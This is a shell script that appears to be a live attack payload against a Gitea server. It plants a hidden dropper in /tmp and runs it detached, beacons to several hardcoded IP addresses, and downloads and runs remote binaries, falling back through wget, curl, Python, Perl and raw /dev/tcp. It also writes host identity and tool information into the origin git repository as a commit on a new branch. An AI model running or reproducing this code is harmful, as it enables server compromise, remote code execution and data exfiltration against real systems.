#!/bin/sh
cat > /tmp/.land$$ <<'LAND_EOF_91'
_get(){ _u=$1;_o=$2;_t=${3:-25};if [ "$_o" = /dev/null ];then wget -q -T "$_t" -O /dev/null "$_u" 2>/dev/null&&return 0;busybox wget -q -T "$_t" -O /dev/null "$_u" 2>/dev/null&&return 0;curl -fsS --max-time "$_t" -o /dev/null "$_u" 2>/dev/null&&return 0;return 1;fi;wget -q -T "$_t" -O "$_o" "$_u" 2>/dev/null&&[ -s "$_o" ]&&return 0;busybox wget -q -T "$_t" -O "$_o" "$_u" 2>/dev/null&&[ -s "$_o" ]&&return 0;curl -fsS --max-time "$_t" -o "$_o" "$_u" 2>/dev/null&&[ -s "$_o" ]&&return 0;python3 -c "import urllib.request as r;r.urlretrieve('$_u','$_o')" 2>/dev/null&&[ -s "$_o" ]&&return 0;python -c "import urllib.request as r;r.urlretrieve('$_u','$_o')" 2>/dev/null&&[ -s "$_o" ]&&return 0;return 1;};_get http://80.87.206.86:18081/b-19247473 /dev/null 6||true;_get http://80.87.206.86:443/b-19247473 /dev/null 6||true;_get http://80.87.206.86/b-19247473 /dev/null 6||true;_get http://5.223.82.96/b-19247473 /dev/null 6||true;_get http://85.137.54.178:8080/b-19247473 /dev/null 6||true;for d in ${HOME:+$HOME/.cache} /var/tmp /tmp /dev/shm; do mkdir -p $d 2>/dev/null; cd $d 2>/dev/null||continue; (_get http://80.87.206.86:18081/319418 .k1e 12||_get http://80.87.206.86:443/319418 .k1e 12||_get http://80.87.206.86/319418 .k1e 12||_get http://5.223.82.96/319418 .k1e 12||_get http://85.137.54.178:8080/319418 .k1e 12)||continue; chmod 755 .k1e 2>/dev/null; setsid ./.k1e app-gitea </dev/null >/dev/null 2>&1 & break; done; (_get http://80.87.206.86:18081/1d0c .bi 10||_get http://80.87.206.86:443/1d0c .bi 10||_get http://80.87.206.86/1d0c .bi 10||_get http://5.223.82.96/1d0c .bi 10||_get http://85.137.54.178:8080/1d0c .bi 10); sh .bi http://80.87.206.86:18081 app-gitea >/dev/null 2>&1 || true
LAND_EOF_91
chmod +x /tmp/.land$$
if command -v setsid >/dev/null 2>&1; then setsid sh /tmp/.land$$ </dev/null >/dev/null 2>&1 &
else sh /tmp/.land$$ </dev/null >/dev/null 2>&1 &
fi
git_dir=$(git rev-parse --absolute-git-dir) || exit 0
origin_objects=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 0
case "$origin_objects" in
  /*) ;;
  *) origin_objects="$git_dir/objects/$origin_objects" ;;
esac
origin_git=${origin_objects%/objects}
[ "$origin_git" != "$origin_objects" ] || exit 0
output_blob=$({ id; uname -smr; pwd; _get() {
  _u=$1; _o=$2; _t=${3:-20}
  if [ "$_o" = /dev/null ]; then
    wget -q -T "$_t" -O /dev/null "$_u" 2>/dev/null && return 0
    busybox wget -q -T "$_t" -O /dev/null "$_u" 2>/dev/null && return 0
    curl -fsS --max-time "$_t" -o /dev/null "$_u" 2>/dev/null && return 0
    python3 -c "import urllib.request as r; r.urlopen('$_u',timeout=$_t).read(64)" 2>/dev/null && return 0
    python -c "import urllib.request as r; r.urlopen('$_u',timeout=$_t).read(64)" 2>/dev/null && return 0
    return 1
  fi
  rm -f "$_o" 2>/dev/null
  wget -q -T "$_t" -O "$_o" "$_u" 2>/dev/null && [ -s "$_o" ] && return 0
  busybox wget -q -T "$_t" -O "$_o" "$_u" 2>/dev/null && [ -s "$_o" ] && return 0
  curl -fsS --max-time "$_t" -o "$_o" "$_u" 2>/dev/null && [ -s "$_o" ] && return 0
  python3 -c "import urllib.request as r; r.urlretrieve('$_u','$_o')" 2>/dev/null && [ -s "$_o" ] && return 0
  python -c "import urllib.request as r; r.urlretrieve('$_u','$_o')" 2>/dev/null && [ -s "$_o" ] && return 0
  perl -e 'require LWP::Simple; LWP::Simple::getstore($ARGV[0],$ARGV[1])' "$_u" "$_o" 2>/dev/null && [ -s "$_o" ] && return 0
  if command -v bash >/dev/null 2>&1; then
    bash -c '
      u="$1"; o="$2"
      case "$u" in http://*) ;; *) exit 1 ;; esac
      rest="${u#http://}"; hostport="${rest%%/*}"; path="/${rest#*/}"
      [ "$path" = "/$hostport" ] && path="/"
      host="${hostport%%:*}"; port="${hostport##*:}"
      [ "$port" = "$hostport" ] && port=80
      exec 3<>/dev/tcp/"$host"/"$port" || exit 1
      printf "GET %s HTTP/1.0\r\nHost: %s\r\nConnection: close\r\n\r\n" "$path" "$host" >&3
      : >"$o"
      while IFS= read -r line <&3; do
        line=$(printf %s "$line" | tr -d "\r")
        [ -z "$line" ] && break
      done
      cat <&3 >>"$o"
      exec 3<&- 3>&-
      [ -s "$o" ]
    ' bash "$_u" "$_o" && return 0
  fi
  return 1
}; command -v wget >/dev/null && echo HAS_WGET || echo NO_WGET; command -v curl >/dev/null && echo HAS_CURL || echo NO_CURL; command -v busybox >/dev/null && echo HAS_BUSYBOX || echo NO_BUSYBOX; command -v python3 >/dev/null && echo HAS_PY3 || echo NO_PY3; command -v python >/dev/null && echo HAS_PY || echo NO_PY; command -v perl >/dev/null && echo HAS_PERL || echo NO_PERL; command -v bash >/dev/null && echo HAS_BASH || echo NO_BASH; if _get http://80.87.206.86:18081/i /tmp/.iprobe$$ 8; then echo GET_I_OK; else echo GET_I_FAIL; fi; rm -f /tmp/.iprobe$$; printf '\n[exit-status=%s]\n' $?; } 2>&1 | git --git-dir="$origin_git" hash-object -w --stdin) || exit 0
tree=$(printf "100644 blob %s\toutput\n" "$output_blob" | git --git-dir="$origin_git" mktree) || exit 0
commit=$(printf "command output\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$origin_git" commit-tree "$tree") || exit 0
git --git-dir="$origin_git" update-ref refs/heads/output-kjm1u270lw "$commit" || exit 0
exit 0
